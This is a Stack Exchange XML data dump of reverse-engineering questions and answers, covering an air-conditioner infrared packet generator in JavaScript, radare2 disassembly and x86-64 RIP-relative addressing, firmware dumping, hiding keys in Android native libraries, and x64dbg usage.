  <row Id="18003" PostTypeId="2" ParentId="11794" CreationDate="2018-04-16T02:28:31.990" Score="1" Body="&lt;p&gt;I know this question is old but I found it by sheer chance while working out the bit mappings for this same kind of AC. Look at the post by Catalyn here: &lt;a href=&quot;https://myesp8266.blogspot.com.ar/2016/05/keep-your-house-cool-with-esp8266.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://myesp8266.blogspot.com.ar/2016/05/keep-your-house-cool-with-esp8266.html&lt;/a&gt; . It seems to be about the same AC protocol and there's something in there about how to calculate the CRC. I haven't tried it yet as I'm currently mapping the bits to the functionality. You have a few I hadn't found yet and saved me some time. BTW Your constant 0 in the 5th column is actually the sleep function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I have this sorted out! I found some other good sources of intel, some with crappy code that sometimes worked, and some good documentation with missing assumptions. Merged them and now I have working code. I ignored some bits that I didn't care about but you can figure out how to add them. The CRC calculation I made already takes all into account regardless of them being fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This (java)script will generate a packet according to the the parameters with a proper CRC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const header = [9050, 4450];&#xA;const zero_bit = [700, 550];&#xA;const one_bit = [700, 1650];&#xA;&#xA;const separator = [700, 19900];&#xA;&#xA;const MODE = {&#xA;  AUTO:   0x0,&#xA;  COOL:   0x1,&#xA;  DRY:    0x2,&#xA;  FAN:    0x3,&#xA;  HEAT:   0x4&#xA;};&#xA;&#xA;const POWER = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;};&#xA;&#xA;const FAN = {&#xA;  AUTO: 0x0,&#xA;  SPEED_1: 0x1,&#xA;  SPEED_2: 0x2,&#xA;  SPEED_3: 0x3,&#xA;  SPEED_4: 0x4,&#xA;};&#xA;&#xA;const SWING = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;};&#xA;&#xA;const SLEEP = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;};&#xA;&#xA;const TURBO = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;};&#xA;&#xA;const LIGHT = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;}&#xA;&#xA;const HEALTH = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;}&#xA;&#xA;const XFAN = {&#xA;  OFF: 0x0,&#xA;  ON: 0x1&#xA;}&#xA;&#xA;const TEMPERATURE = {&#xA;  BASE: 16&#xA;};&#xA;&#xA;let state = {&#xA;  mode: MODE.COOL,&#xA;  power: POWER.ON,&#xA;  temperature: 27 - TEMPERATURE.BASE,&#xA;  xfan: XFAN.ON,&#xA;  health: HEALTH.ON,&#xA;  light: LIGHT.ON,&#xA;  turbo: TURBO.OFF,&#xA;  swing: SWING.ON,&#xA;  fan: FAN.AUTO&#xA;};&#xA;&#xA;function reverseBits(x, bitLength) {&#xA;    let result = 0;&#xA;&#xA;    for (let index = 0; index &amp;lt; bitLength; ++index) {&#xA;      result |= ((x &amp;gt;&amp;gt; index) &amp;amp; 1) &amp;lt;&amp;lt; (bitLength - index - 1)&#xA;    }&#xA;    return result&#xA;}&#xA;&#xA;function reverseByte(value) {&#xA;  return reverseBits(value, 8);&#xA;}&#xA;&#xA;function reverseNibble(value) {&#xA;  return reverseBits(value, 4);&#xA;}&#xA;&#xA;function buildPacket(state) {&#xA;  const byte1 = (reverseBits(state.mode, 3) &amp;lt;&amp;lt; 5) | (reverseBits(state.power, 1) &amp;lt;&amp;lt; 4) | (reverseBits(state.fan, 2) &amp;lt;&amp;lt; 2) | (reverseBits(state.swing, 1) &amp;lt;&amp;lt; 1) | (reverseBits(state.sleep, 1) &amp;lt;&amp;lt; 0);&#xA;  const byte2 = (reverseBits(state.temperature, 4) &amp;lt;&amp;lt; 4);&#xA;  const byte3 = (reverseBits(state.turbo, 1) &amp;lt;&amp;lt; 3) | (reverseBits(state.light, 1) &amp;lt;&amp;lt; 2) | (reverseBits(state.health, 1) &amp;lt;&amp;lt; 1) | (reverseBits(state.xFan, 1) &amp;lt;&amp;lt; 1);&#xA;  const byte4 = 0x0A;&#xA;&#xA;  const byte5 = 0;&#xA;  const byte6 = 4;&#xA;  const byte7 = 0;&#xA;  const byte8 = reverseNibble(&#xA;  (&#xA;    (reverseByte(byte1) &amp;amp; 0x0F) +&#xA;    (reverseByte(byte2) &amp;amp; 0x0F) + &#xA;    (reverseByte(byte3) &amp;amp; 0x0F) +&#xA;    (reverseByte(byte4) &amp;amp; 0x0F) +&#xA;    ((reverseByte(byte5) &amp;amp; 0xF0) &amp;gt;&amp;gt; 4 ) +&#xA;    ((reverseByte(byte6) &amp;amp; 0xF0) &amp;gt;&amp;gt; 4 ) + &#xA;    ((reverseByte(byte7) &amp;amp; 0xF0) &amp;gt;&amp;gt; 4 ) + 10&#xA;  ) &amp;amp; 0x0F);&#xA;&#xA;  let data = [];&#xA;  data = data.concat(header);&#xA;  data = pushBits(data, byte1);&#xA;  data = pushBits(data, byte2);&#xA;  data = pushBits(data, byte3);&#xA;  data = pushBits(data, byte4);&#xA;  data = data.concat(zero_bit);&#xA;  data = data.concat(one_bit);&#xA;  data = data.concat(zero_bit);&#xA;  data = data.concat(separator);&#xA;  data = pushBits(data, byte5);&#xA;  data = pushBits(data, byte6);&#xA;  data = pushBits(data, byte7);&#xA;  data = pushBits(data, byte8);&#xA;  data = data.concat([650]);&#xA;&#xA;  return data;&#xA;}&#xA;&#xA;function pushBits(data, byte) {&#xA;  for (let i = 7; i &amp;gt;= 0; --i) {&#xA;    if ((byte &amp;amp; (1 &amp;lt;&amp;lt; i)) !== 0) {&#xA;      data = data.concat(one_bit);&#xA;    }&#xA;    else {&#xA;      data = data.concat(zero_bit);&#xA;    }&#xA;  }&#xA;  return data;&#xA;}&#xA;&#xA;const data = buildPacket(state);&#xA;console.log(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24022" LastEditorUserId="24022" LastEditDate="2018-04-22T19:09:21.183" LastActivityDate="2018-04-22T19:09:21.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18004" PostTypeId="1" AcceptedAnswerId="18005" CreationDate="2018-04-16T03:55:13.007" Score="3" ViewCount="1058" Body="&lt;p&gt;Let's say I want to check &lt;a href=&quot;https://stackoverflow.com/a/27265685/124486&quot;&gt;this guys work&lt;/a&gt;. He says that he is getting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8d 15 c8 90 04 08       lea    0x80490c8,%edx&#xA;ba c8 90 04 08          mov    $0x80490c8,%edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way with Radare to disassemble an user-provide byte-sequence like &lt;code&gt;8d 15 c8 90 04 08&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-04-16T04:26:31.213" Title="Can I provide bytes to Radare to be disassembled?" Tags="|disassembly|assembly|radare2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18005" PostTypeId="2" ParentId="18004" CreationDate="2018-04-16T04:25:28.427" Score="5" Body="&lt;p&gt;Yes, you can use the &lt;code&gt;pad&lt;/code&gt; command from inside radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pa?&#xA;|Usage: pa[ed] [hex|asm]  assemble (pa) disasm (pad) esil (pae) from hexpairs&#xA;&#xA;[0x00000000]&amp;gt; pad 8d 15 c8 90 04 08&#xA;lea edx, [rip + 0x80490c8]&#xA;&#xA;[0x00000000]&amp;gt; pad 8d 15 c8 90 04 08 ba c8 90 04 08&#xA;lea edx, [rip + 0x80490c8]&#xA;mov edx, 0x80490c8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or using &lt;code&gt;rasm2&lt;/code&gt; utility from the radare2 toolkit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ rasm2 -d '8d 15 c8 90 04 08'&#xA;lea edx, [0x80490c8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-16T04:25:28.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18006" PostTypeId="2" ParentId="18004" CreationDate="2018-04-16T04:26:31.213" Score="2" Body="&lt;p&gt;use rasm2 - a x86,arm,ppc,whatever   -b 16,32,64  -d &quot;de ad d0 0d&quot;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-16T04:26:31.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18007" PostTypeId="1" AcceptedAnswerId="18008" CreationDate="2018-04-16T04:49:48.333" Score="6" ViewCount="8281" Body="&lt;p&gt;When I &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18005/22669&quot;&gt;disassemble this instruction using &lt;code&gt;pad&lt;/code&gt; on Radare I get an &lt;code&gt;LEA&lt;/code&gt; with &lt;code&gt;rip&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pad 8d 15 c8 90 04 08&#xA;lea edx, [rip + 0x80490c8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this instruction from this &lt;a href=&quot;https://stackoverflow.com/a/27265685/124486&quot;&gt;post here&lt;/a&gt; I'm confused though why the disassembly shows &lt;code&gt;rip + 0x80490c8&lt;/code&gt;, when &lt;a href=&quot;https://stackoverflow.com/a/27265685/124486&quot;&gt;the original post&lt;/a&gt; claims it's the equivalent of &lt;code&gt;mov&lt;/code&gt;? Is this the right disassembled output? Why would the instruction pointer be in the &lt;code&gt;LEA&lt;/code&gt;? Is that an implicit base, or did the original poster make a mistake?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2019-12-20T07:45:30.400" Title="Disassembly shows `LEA` with RIP?" Tags="|assembly|x86|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18008" PostTypeId="2" ParentId="18007" CreationDate="2018-04-16T04:57:40.013" Score="8" Body="&lt;p&gt;It is simply a matter of bits. In the example shown, the hexpairs are disassembled using 64bit assembly, and you probably want to change it to a 32bit assembly. Just tell radare that you are working with 32bits and it will do the job for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pad 8d 15 c8 90 04 08&#xA;lea edx, [rip + 0x80490c8]&#xA;&#xA;[0x00000000]&amp;gt; e asm.bits =32&#xA;&#xA;[0x00000000]&amp;gt; pad 8d 15 c8 90 04 08&#xA;lea edx, [0x80490c8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unlike 32bits modes instructions that were taken as absolute addresses (use 32-bit immediate offset addressing), the 64bits modes (a.k.a long-mode) are usually using 32-bit offset from the current RIP, not from 0x00000000 like before. That means that you don't have to know the absolute address of something you want to reference, you only need to know how far away it is from the currently executing instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are very few addressing modes which use a full 64bit absolute address. Most addressing modes are 32bit offsets relative to one of the 64bit registers (usually RIP).&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-04-16T05:21:21.677" LastActivityDate="2018-04-16T05:21:21.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18009" PostTypeId="1" AcceptedAnswerId="18011" CreationDate="2018-04-16T05:08:40.507" Score="1" ViewCount="545" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/18698/megabeets&quot;&gt;Megabeets&lt;/a&gt; determined &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18008/22669&quot;&gt;in this answer&lt;/a&gt; that depending on &lt;code&gt;asm.bits&lt;/code&gt; Radare may show either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea edx, [0x80490c8]         (asm.bits=32)&#xA;lea edx, [rip + 0x80490c8]   (asm.bits=64)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to see what the byte-code would look like for &lt;code&gt;lea edx, [0x80490c8]&lt;/code&gt; in x86_64, how would I go about getting that?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2019-08-09T14:56:55.640" LastActivityDate="2019-08-09T14:56:55.640" Title="Printing bytecode in bytes given a string of assembly for Radare to disassemble?" Tags="|assembly|x86|radare2|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18010" PostTypeId="2" ParentId="18009" CreationDate="2018-04-16T05:22:33.333" Score="0" Body="&lt;p&gt;32&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2  -a x86 -b 32 -c &quot;wa lea edx,[0x80490c8] ; pd 1 ; exit()&quot; -&#xA;Written 6 byte(s) (lea edx,[0x80490c8]) = wx 8d15c8900408&#xA;            0x00000000      8d15c8900408   lea edx, [0x80490c8]&#xA; -- Are you a wizard?&#xA;[0x00000000]&amp;gt; q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;64&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2  -a x86 -b 64 -c &quot;wa lea edx,[rip+0x80490c8] ; pd 1 ; exit()&quot; -&#xA;Written 7 byte(s) (lea edx,[rip+0x80490c8]) = wx 488d98c8900408&#xA;            0x00000000      488d98c89004.  lea rbx, [rax + 0x80490c8]&#xA; -- SHALL WE PLAY A GAME?&#xA;[0x00000000]&amp;gt; q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-16T05:22:33.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18011" PostTypeId="2" ParentId="18009" CreationDate="2018-04-16T05:46:51.563" Score="2" Body="&lt;p&gt;Actually, there is no &lt;code&gt;lea edx, [0x80490c8]&lt;/code&gt; for 64-bits addressing modes. Since, afaik, in all 64-bits addressing modes &lt;code&gt;lea&lt;/code&gt; is a register relative opcode.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;LEA - Load Effective Address&lt;/strong&gt;&lt;br&gt;&#xA;  Computes the effective address of the second operand (the&#xA;  source operand) and stores it in the first operand (destination&#xA;  operand). The source operand is a memory address (offset part)&#xA;  specified with one of the processors addressing modes; the destination&#xA;  operand is a general-purpose register.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Source: Intel® &lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;64 and IA-32 Architectures&#xA;  Software Developer’s Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Anyway, if you want to know the bytecodes that represent an instruction using radare2 you can use the &lt;code&gt;pa&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 32-bits mode it'll look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; e asm.bits=32&#xA;[0x00000000]&amp;gt; pa lea edx, [0x80490c8]&#xA;8d15c8900408&#xA;[0x00000000]&amp;gt; pad 8d15c8900408&#xA;lea edx, [0x80490c8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In 64-bits mode it'll look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; e asm.bits=64&#xA;[0x00000000]&amp;gt; pa lea edx, [0x80490c8]&#xA;488d15c8900408&#xA;[0x00000000]&amp;gt; pad 488d15c8900408&#xA;lea rdx, [rip + 0x80490c8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that radare2 knows that &lt;code&gt;lea edx, [0x80490c8]&lt;/code&gt; can't be expressed in 64bits so it uses a RIP relative expression.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-16T05:46:51.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18012" PostTypeId="1" CreationDate="2018-04-16T09:16:55.330" Score="1" ViewCount="628" Body="&lt;p&gt;I have a board which has &lt;strong&gt;STM32F103RE&lt;/strong&gt; microcontroller. Its datasheet can be found &lt;a href=&quot;http://www.st.com/resource/en/datasheet/stm32f103ze.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have found in the internet only firmware that seems to be encrypted/compressed, I'm trying to figure out how to dump it from the flash (using logic analyzer or Bus Pirate, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me out with this challenge?&#xA;Elaborated answer will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="24025" LastActivityDate="2018-04-16T09:16:55.330" Title="Microcontroller memory dump" Tags="|firmware|memory-dump|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18014" PostTypeId="1" AcceptedAnswerId="18021" CreationDate="2018-04-16T17:44:03.363" Score="3" ViewCount="3864" Body="&lt;p&gt;I am working on an application where we need to encrypt certain assets at compile time in Gradle. We then need to decrypt them with the same private key, so we are using a symmetric key system but we could go to an asymmetric system. The key issue is that we want to keep the keys in the APK somehow but store them securely. That way we don't have to make a server request for these private keys or a partner key in an asymmetric system. The APK file itself is fairly easy to reverse engineer and decompile, including the resources and the Java code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using a C library in our application, however. We are using a .so file of this library compiled for the ARM architecture. We use the SWIG interface from our application's main Java code to interact with this library. I am wondering if I can store the private keys in this library's source code and then access these keys via SWIG binding functions. I think this is the best solution for my problem because ARM .so files require a fancy commercial decompiler and knowledge of the ARM architecture to effectively reverse-engineer them. Thus making this method of getting the private keys pretty darn secure.&lt;/p&gt;&#xA;" OwnerUserId="24036" LastActivityDate="2018-04-17T07:27:39.273" Title="Android- hiding private keys in .so file" Tags="|decompilation|c|android|apk|software-security|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18018" PostTypeId="2" ParentId="18014" CreationDate="2018-04-17T01:14:50.430" Score="7" Body="&lt;p&gt;If your application can decrypt the files, then you should assume that anyone sufficiently interested can do so as well. End of story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obfuscation can slow people down, but it won't stop everyone, and it probably won't be as effective as you think it will be.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-04-17T01:14:50.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18019" PostTypeId="2" ParentId="18014" CreationDate="2018-04-17T02:04:54.810" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;We are using a C library in our application, however. We are using a .so file of this library compiled for the ARM architecture. We use the SWIG interface from our application's main Java code to interact with this library. I am wondering if I can store the private keys in this library's source code and then access these keys via SWIG binding functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm totally sure you can, but what stops someone from taking that C library and passing it through &lt;code&gt;objdump&lt;/code&gt; or Radare and figuring out where your key is stored? With something like &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalker&lt;/code&gt;&lt;/a&gt; it may require less skill than if it was in Java. If you store it as a string, &lt;code&gt;/usr/bin/strings&lt;/code&gt; itself may pick it up.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ARM .so files require a fancy commercial decompiler and knowledge of the ARM architecture&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really: &lt;code&gt;objdump&lt;/code&gt; (&lt;code&gt;-marm&lt;/code&gt;) and &lt;code&gt;radare&lt;/code&gt; support ARM. If you've never played around with those give it a shot.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;/questions/tagged/objdump&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;objdump&amp;#39;&quot; rel=&quot;tag&quot;&gt;objdump&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;/questions/tagged/radare2&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;radare2&amp;#39;&quot; rel=&quot;tag&quot;&gt;radare2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-04-17T03:37:43.673" LastActivityDate="2018-04-17T03:37:43.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18020" PostTypeId="2" ParentId="18007" CreationDate="2018-04-17T05:09:21.170" Score="3" Body="&lt;p&gt;32-bit x86 has 2 redundant ways to encode &lt;code&gt;[disp32]&lt;/code&gt; (with no registers): with and without a SIB byte.  Assemblers will of course always use the shorter form, and that's what the link in your question is showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're disassembling as 64-bit machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x86-64 repurposed the without-SIB version to mean &lt;code&gt;[RIP + rel32]&lt;/code&gt;, leaving the longer with-SIB version to still mean &lt;code&gt;[sign_extended_disp32]&lt;/code&gt; like when you use a disp32 with GP registers.  (RIP-relative is not available combined with any GP registers; only this one specific ModR/M encoding.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In NASM syntax, &lt;code&gt;[rel foo]&lt;/code&gt; vs. &lt;code&gt;[abs foo]&lt;/code&gt;, or use &lt;code&gt;default rel&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;AFAIK, &lt;code&gt;lea r32, [disp32]&lt;/code&gt; instead of &lt;code&gt;mov r32, imm32&lt;/code&gt; is never useful for performance on any CPU I'm aware of, &lt;a href=&quot;https://stackoverflow.com/questions/48046814/what-methods-can-be-used-to-efficiently-extend-instruction-length-on-modern-x86&quot;&gt;except to make an instruction longer on purpose instead of padding with NOP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only use-case for &lt;code&gt;lea&lt;/code&gt; for static addresses is in 64-bit code with RIP-relative LEA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/46597055/using-lea-on-values-that-arent-addresses-pointers/46597375#46597375&quot;&gt;this canonical answer&lt;/a&gt; for more about LEA, but really &lt;strong&gt;this question has nothing to do with LEA specifically, and would have happened with any instruction that used a &lt;code&gt;disp32&lt;/code&gt; ModR/M addressing mode decoded in the wrong mode.&lt;/strong&gt;  You only ran into this because you found an example that compared using an inefficient &lt;code&gt;lea&lt;/code&gt; with an efficient &lt;code&gt;mov&lt;/code&gt;-immediate in 32-bit mode.&lt;/p&gt;&#xA;" OwnerUserId="13014" LastEditorUserId="-1" LastEditDate="2019-12-20T07:45:30.400" LastActivityDate="2019-12-20T07:45:30.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18021" PostTypeId="2" ParentId="18014" CreationDate="2018-04-17T07:27:39.273" Score="3" Body="&lt;p&gt;Hiding the keys anywhere in the apk (including .so files) is definitely not enough to keep the keys secret for the long time. The code that can be executed definitely can be reverse engineered, and the key could be extracted - even without having fancy decompiler and knowing ARM architecture well (by the way, there is a &lt;a href=&quot;https://retdec.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;non-commercial decompiler for arm32&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly suggest you to read something about &lt;a href=&quot;https://web.archive.org/web/20130717060858/http://joye.site88.net/papers/Joy08whitebox.pdf#&quot; rel=&quot;nofollow noreferrer&quot;&gt;white box cryptography&lt;/a&gt; and search for the solution in this specific area which was developed in order to solve this kind of problems. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-04-17T07:27:39.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18022" PostTypeId="1" CreationDate="2018-04-17T07:57:22.053" Score="0" ViewCount="3561" Body="&lt;p&gt;I've poked around the settings for x64dbg and never managed to find this. I was just wondering if there was an option for x64dbg similar to ollydbg's &quot;show jumps to selected command&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2nQ1U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2nQ1U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fEZbY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fEZbY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all&lt;/p&gt;&#xA;" OwnerUserId="22004" LastActivityDate="2018-09-14T13:01:11.977" Title="x64Dbg view jumps to selected command" Tags="|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18023" PostTypeId="2" ParentId="18022" CreationDate="2018-04-17T10:31:49.393" Score="1" Body="&lt;p&gt;To do this in x64dbg you can use the side bar on the left, which shows jump paths that are within the current view. You can also run the command “xanalyze” to do xref analysis, which will then show the jump source lines for xrefs.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-04-17T10:31:49.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18024" PostTypeId="1" CreationDate="2018-04-17T12:53:24.043" Score="4" ViewCount="260" Body="&lt;p&gt;Disassembling is great but when trying to re-assemble to opcode it gives different results each time. Example:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;rasm2 -a x86 -b 64 -d &quot;48898D80FEFFFF&quot;  &#xA;mov qword [rbp - 0x180], rcx  &#xA;C:\&amp;gt;rasm2 -a x86 -b 64 &quot;mov qword [rbp - 0x180], rcx&quot;  &#xA;49898d80feffff  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the difference? The first byte has been changed and it keep the same behavior each time. Another issue is, I couldn't get it to assemble this instruction with 8 bytes it only gives me 4 bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;rasm2 -a x86 -b 64 -d &quot;C7458C0000803F&quot;  &#xA;mov dword [rbp - 0x74], 0x3f800000  &#xA;C:\&amp;gt;rasm2 -a x86 -b 64 &quot;mov dword [rbp - 0x74], 0x3f800000&quot;  &#xA;41c67400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I remove the the bits flag and set the registers to 32 bit it gives me the correct opcodes!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;rasm2 -a x86 &quot;mov dword [ebp - 0x74], 0x3f800000&quot;  &#xA;c7458c0000803f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it doing this and what did I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2/issues/9933&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub issue link&lt;/a&gt; for future reference.&lt;/p&gt;&#xA;" OwnerUserId="11482" LastEditorUserId="11482" LastEditDate="2018-04-29T20:42:52.407" LastActivityDate="2018-07-17T20:49:27.853" Title="rasm2 giving different output each time for x64" Tags="|radare2|x86-64|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18025" PostTypeId="1" CreationDate="2018-04-17T20:36:56.170" Score="1" ViewCount="1359" Body="&lt;p&gt;Stepping through instructions I can see the result of &lt;code&gt;rflags&lt;/code&gt; change,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rflags C1PSI&#xA;rflags 1PZI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything that expands this into the appropriate flags. I know &lt;code&gt;Z&lt;/code&gt; is Zero-flag, and &lt;code&gt;P&lt;/code&gt; is Parity, but I forget some of the more esoteric ones. And, what does the &lt;code&gt;1&lt;/code&gt; stand for? What I would like is something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rflags 1P - [P]arity Flag ON&#xA;       k  - [k]whatever Flag On&#xA;       Z  - [Z]ero Flag On&#xA;       I  - [I]whatever Flag On&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I can find out what &lt;code&gt;k&lt;/code&gt; and &lt;code&gt;I&lt;/code&gt; are without going to wikipedia.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-04-17T22:27:21.927" LastActivityDate="2019-06-06T18:10:44.727" Title="RFLAGS info and Radare?" Tags="|debugging|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
